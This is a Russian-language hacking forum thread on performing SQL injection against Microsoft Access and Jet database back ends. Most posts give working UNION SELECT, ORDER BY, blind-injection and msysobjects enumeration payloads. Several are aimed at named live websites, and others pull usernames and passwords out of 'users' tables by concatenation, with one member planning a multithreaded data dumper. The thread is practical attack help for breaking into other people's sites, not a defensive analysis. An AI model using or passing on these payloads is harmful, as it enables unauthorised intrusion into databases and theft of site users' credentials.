Авторские статьи Проведение SQL инъекций в Microsoft Access

Discussion in 'Статьи' started by [53x]Shadow, 5 Oct 2007.

  1. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Столкнулся с такой проблемой, возьму для примера Url из этой-же статьи
    ------------------
    http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1
    ------------------
    кол-во
    http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+order+by+8
    ------------------
    вывод:
    http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1,2,3,4,5,6,7,8+from+users

    cannot find the input table or query 'users'
    Нет таблицы, как я понимаю
    ------------------
    http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1,2,3,4,5,6,7,8+from+user
    Syntax error in FROM clause

    А это что? Таблица есть , ошибка синтаксиса?
    ------------------
    И такая фигня на нескольких сайтах

    Киньте ,кому не трудно,любой рабочий пример с выводом, сюда или в ПМ.
     
  2. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Та же хрень,только на другом сайте.Исходя из логики,таблица юзер есть,но ошибка в запросе.
     
  3. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Мб это ещё может быть служебная команда или предикат, например as
     
  4. Kallisto

    Kallisto Member

    Joined:
    18 May 2007
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    "select ... from user"
    использоваться нельзя, так как user это внутреннее имя и таблицой оно быть не может.
     
    1 person likes this.
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    user
    password
    day
    catalog

    По личному опыту
    в 40% используетья префикс

    tbl
    tbl_

    в 10% случаев
    <имясайта>
    <имясайта>_

    По поводу системных таблиц
    Не разу не было доступа до них.

    Повышение прав аналогично с mssql.
     
  6. NewBHack

    NewBHack New Member

    Joined:
    24 Nov 2008
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    А может ктонить подробнее про повышение прав?
    и еще на http://www.darkc0de.com/tutorials/MSSQL_jet_DB_Injection_Paper.txt читал про некоторую команду
    table.columnfromerror1


    You can find the columns names by using HAVEING BY, for example
    HAVING 1=1 --
    GROUP BY table.columnfromerror1 HAVING 1=1 --
    GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
    GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and on and on ...

    Может кто-нить подробнее описать данную функу??? С примером, потому что как не пробовал не получается :(
     
    #26 NewBHack, 20 Dec 2008
    Last edited: 21 Dec 2008
  7. 2pick

    2pick Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    117
    Likes Received:
    39
    Reputations:
    2
    Никак немогу понять запроса
    http://permnews.ru/l_otzv.asp?kt=5388'
    причем здесь двойные скобки и как делать union select?
     
  8. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    тут баги нету.
     
  9. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    http://permnews.ru/l_otzv.asp?kt=5388))%20and%201=1%20and%20((1=1
    слепая
     
  10. IamDevil

    IamDevil New Member

    Joined:
    10 May 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Может это считается за флуд, но у меня проблемка с Access'ом - при нажатии на нужное значение столбца(которое мне надо исправить) появляется такая ошибка: "Возникла ошибка при установке связи в приложении Microsoft Access с сервером OLE или элементом управления ActiveX" В режиме конструктора видно, что это Ole-Объект, но как его можно модифицировать?
    P.S. На машине запущена служба, которая и записывает значение(
    тот самый Ole-объект) в файл. Моя аська в профиле. Плиз, помогите.
     
  11. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    пишу тут потому что в тему
    можеть кто знает в Jet database error

    на запрос:
    Code:
    =-1+order+by+5%00
    выдает:
    Code:
    Microsoft JET Database Engine error '80040e14' 
    The Microsoft Jet database engine does not recognize '6' as a valid field name or expression.
    а на:

    =-1+order+by+4%00

    страница открывается, но на нем тоже
    Code:
    Latest News
    
    
    Microsoft JET Database Engine error '80040e14' 
    The Microsoft Jet database engine does not recognize '4' as a valid field name or expression. 
    /intranet/inx/ecom_engine.asp, line 2462
    на запрос:
    =-1+union+select+1,2,3,4%00

    Code:
    Microsoft JET Database Engine error '80004005' 
    
    Query input must contain at least one table or query. 
    
    /intranet/inx/ecom_engine.asp, line 2462
    как обойти? Правда ни одного названия таблиц не знаю.
    Может есть новые статьи по Jet database
     
  12. pampom

    pampom Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    Попробуй заменить коментарий на -- или просто убрать его.
     
  13. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    А при чём тут комментарий? Если у него order с ним работает, то и union+select будет работать нормально.

    YuNi|[c Нужна таблица:
     
    4 people like this.
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    У меня вопрос к автору темы:

    по поводу

    start+at+2

    - откуда вообще эта информация? Что это за start+at? Не в одних офф. документах - долго искал - такого синтаксиса select не обнаружено, на реальной скуле тоже не работает, как только не пробовал

    т.е. первая запись цепляется без проблем:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users
    
    а вот вторая следуя инструкциям из первого поста:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+start+at+2+1,id,3,4,5,6,7+from+users
    
    выплевывает ошибку:

    Просьба разъяснить момент, если он может разъясниться в принципе, после прочтения вот этой ссылки, например:

    http://office.microsoft.com/ru-ru/access/HA012314971049.aspx

    по логике получается возможным перебор тогда только таким образом (универсально, т.к. я допускаю, что у меня какая-то нестандартная скуля, хотя очень сильно сомневаюсь):

    цепляем первую запись:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users
    
    выдаст к примеру 34, тогда запрос на выборку следующей записи будет такой:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>34
    
    выдало к примеру 39, следующая так:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>39
    
    Хотелось бы разобраться в данном моменте
     
  15. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Как вариант можно использовать такую же конструкцию, как в mssql

    union+select+top+1+colname+from+tablename+where +colname+not+in+(select+top+n+colname+from+tablename)


    Пример:

    http://www.pcci.org.za/default.asp?id=-1+union+select+top+1+1,name+from+msysobjects+where +name+not+in+(select+top+47+name+from+msysobjects)
     
    3 people like this.
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 ElteRUS:

    Вот это действительно офигенный вариант, т.к. именно этот вариант позволит написать многопоточный брутер даже не зная названия autoincriment поля (по умолчанию ID обычно). Просто блестящая идея, риспект

    PS: И строка запроса по длине не будет раздуваться, т.к. меняется только число топов, и для конкатеции подойдет - гениальное решение, просто нет слов!
     
  17. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Небольшое дополнение к статье

    CONCAT in Ms Access

    пример, нужно выцепить NAME и PASSWORD из таблы USERS к примеру в одном запросе, делается так:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
    
    выведет к примеру admin : qwerty

    НО, если мы захотим также выцепить ID к примеру, то по идее должны составить такой запрос:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,id%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
    
    и вместо ожидаемого 1 : admin : qwerty

    мы увидим примерно следующее:

    т.к. поле ID - чисто числовое, а числовые поля конкатировать с помощью %2b в ms access не получиться, таким образом можно конкатировать только поля с типом text (ну или подобным)

    Но есть выход, т.к. в ms access есть функция конвертации любого значения в text type, это функция StrConv(var,[option])

    где var - то, что конвертируем, а option - как конвертируем

    option:
    для нас совершенно подойдет просто 1 в данном случае, т.е. конечный правильный запрос будет выглядеть так:

    Code:
    http://site.com/lala.asp?ID=-1+union+select+top+1+1,StrConv(id,1)%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
    
    и вот тогда мы получим желаемый результат:

    1 : admin : qwerty
     
    #37 Pashkela, 19 Nov 2009
    Last edited: 19 Nov 2009
    2 people like this.
  18. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Интересно, каким образом ты реализовал дампер для mssql, если там алгоритм точно такой же, а ты впервые об этом слышишь.
     
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    там просто алгоритм другой чуть-чуть у меня:

    select+table_name+from+information_schema.tables+where+table_name+not+in+(table1,table2,table3...........)

    т.е. не на числе топов организовано

    а дамп непосредственно данных (вообще-то про что тут речь и идет - не название таблиц/колонок, а уже данные) осуществляется по autoincriment полю, которое указывается вручную, с предварительным подсчетом данных в таблице

    Вообще, если есть вопросы по тулзе, есть отдельная тема для этого здесь

    И потом тут речь идет об ms access, как бы проверить, что такой метод работает и тут можно было только экспериментальным путем, плюс в статье автора нет ни слова про такой метод, отсюда и неподдельное ура и риспект 2 ElteRUS

    Но суть понял потому побег переделывать mssql
     
    #39 Pashkela, 19 Nov 2009
    Last edited: 19 Nov 2009
    1 person likes this.
  20. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    вот посмотри как я сделал это на мускуле, так как просто нет под рукой Tsql:
    Code:
    mysql> select * from test;
    +------+
    | id   |
    +------+
    | pash | 
    | ke   | 
    | la   | 
    +------+
    3 rows in set (0,00 sec)
    
    mysql> select (select id from (select id from test order by id asc limit 1) as a order by id desc limit 1);
    +----------------------------------------------------------------------------------------------+
    | (select id from (select id from test order by id asc limit 1) as a order by id desc limit 1) |
    +----------------------------------------------------------------------------------------------+
    | ke                                                                                           | 
    +----------------------------------------------------------------------------------------------+
    1 row in set (0,00 sec)
    
    mysql> select (select id from (select id from test order by id asc limit 2) as a order by id desc limit 1);
    +----------------------------------------------------------------------------------------------+
    | (select id from (select id from test order by id asc limit 2) as a order by id desc limit 1) |
    +----------------------------------------------------------------------------------------------+
    | la                                                                                           | 
    +----------------------------------------------------------------------------------------------+
    1 row in set (0,00 sec)
    
    это легко переделывается под access,MSsql и Sybase
     
    2 people like this.